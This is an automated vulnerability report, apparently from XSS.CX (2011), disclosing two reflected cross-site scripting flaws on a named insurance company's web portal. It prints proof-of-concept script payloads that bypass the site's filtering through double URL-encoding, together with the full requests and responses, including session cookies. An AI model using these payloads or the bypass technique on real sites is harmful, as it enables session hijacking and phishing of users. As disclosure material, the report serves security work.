XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, capdirect.lecapitale.com

Report generated by XSS.CX at Fri Jun 17 10:13:33 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

1.1. https://capdirect.lacapitale.com/affelec/soumission/VT/Vous/police/new/%22onmouseover=prompt(%22XSS%22)%3E [REST URL parameter 7]

1.2. https://capdirect.lacapitale.com/affelec/soumission/VT/Vous/police/new/%22onmouseover=prompt(912256)%3E [REST URL parameter 7]



1. Cross-site scripting (reflected)
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://capdirect.lacapitale.com/affelec/soumission/VT/Vous/police/new/%22onmouseover=prompt(%22XSS%22)%3E [REST URL parameter 7]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://capdirect.lacapitale.com
Path:   /affelec/soumission/VT/Vous/police/new/%22onmouseover=prompt(%22XSS%22)%3E

Issue detail

The value of REST URL parameter 7 is copied into the name of an HTML tag attribute. The payload 1b84b%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4eedd17326c was submitted in the REST URL parameter 7. This input was echoed as 1b84b><script>alert(1)</script>4eedd17326c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 7 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /affelec/soumission/VT/Vous/police/new/%22onmouseover1b84b%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4eedd17326c=prompt(%22XSS%22)%3E HTTP/1.1
Host: capdirect.lacapitale.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=222088199.1308322110.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|26FDB49E851D28F7-6000010400080010[CE]; locale=en-CA; DETECT_MAUVAIS_BROWSER=""; __utma=222088199.1235833908.1308322110.1308322110.1308322110.1; __utmc=222088199; __utmb=222088199.12.10.1308322110; capdirect-sticky=R3616691730; _AffairesElectroniques_session=1f01dbb64585d0f07be35149671645fd; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 15:10:24 GMT
Server:
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.9
ETag: "2ac14b2dcbec81577c0502702325f3aa"
X-Runtime: 133
Cache-Control: private, max-age=0, must-revalidate
Status: 200
Vary: Accept-Encoding
Content-Length: 15766
Content-Type: text/html; charset=utf-8
Set-Cookie: _AffairesElectroniques_session=1f01dbb64585d0f07be35149671645fd; path=/; HttpOnly;HttpOnly;Secure
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr-CA" lang="fr-CA">
<hea
...[SNIP]...
<a class="deconnect" href="/affelec/accueil_prospect?quitter=true&dect_id="onmouseover1b84b><script>alert(1)</script>4eedd17326c=prompt("XSS")>
...[SNIP]...

1.2. https://capdirect.lacapitale.com/affelec/soumission/VT/Vous/police/new/%22onmouseover=prompt(912256)%3E [REST URL parameter 7]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://capdirect.lacapitale.com
Path:   /affelec/soumission/VT/Vous/police/new/%22onmouseover=prompt(912256)%3E

Issue detail

The value of REST URL parameter 7 is copied into the name of an HTML tag attribute. The payload 41fb8%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e20b95b3c963 was submitted in the REST URL parameter 7. This input was echoed as 41fb8><script>alert(1)</script>20b95b3c963 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 7 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /affelec/soumission/VT/Vous/police/new/%22onmouseover41fb8%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e20b95b3c963=prompt(912256)%3E HTTP/1.1
Host: capdirect.lacapitale.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=222088199.1308322110.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|26FDB49E851D28F7-6000010400080010[CE]; locale=en-CA; _AffairesElectroniques_session=1f01dbb64585d0f07be35149671645fd; DETECT_MAUVAIS_BROWSER=""; s_cc=true; __utma=222088199.1235833908.1308322110.1308322110.1308322110.1; __utmc=222088199; __utmb=222088199.12.10.1308322110; capdirect-sticky=R3616691730; s_sq=lcplacaplive%3D%2526pid%253Dcontact-us%25253A%25253Areport-claim%25253A%25253Aglass-breakage%2526pidt%253D1%2526oid%253Dhttp%25253A//www.lacapitale.com/en/contact-us/report-claim/glass-breakage%252523%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 15:05:16 GMT
Server:
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.9
ETag: "82b8ac82fae71bb5e34ce98a51983bac"
X-Runtime: 127
Cache-Control: private, max-age=0, must-revalidate
Status: 200
Vary: Accept-Encoding
Content-Length: 15764
Content-Type: text/html; charset=utf-8
Set-Cookie: _AffairesElectroniques_session=1f01dbb64585d0f07be35149671645fd; path=/; HttpOnly;HttpOnly;Secure
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr-CA" lang="fr-CA">
<hea
...[SNIP]...
<a class="deconnect" href="/affelec/accueil_prospect?quitter=true&dect_id="onmouseover41fb8><script>alert(1)</script>20b95b3c963=prompt(912256)>
...[SNIP]...

Report generated by XSS.CX at Fri Jun 17 10:13:33 CDT 2011.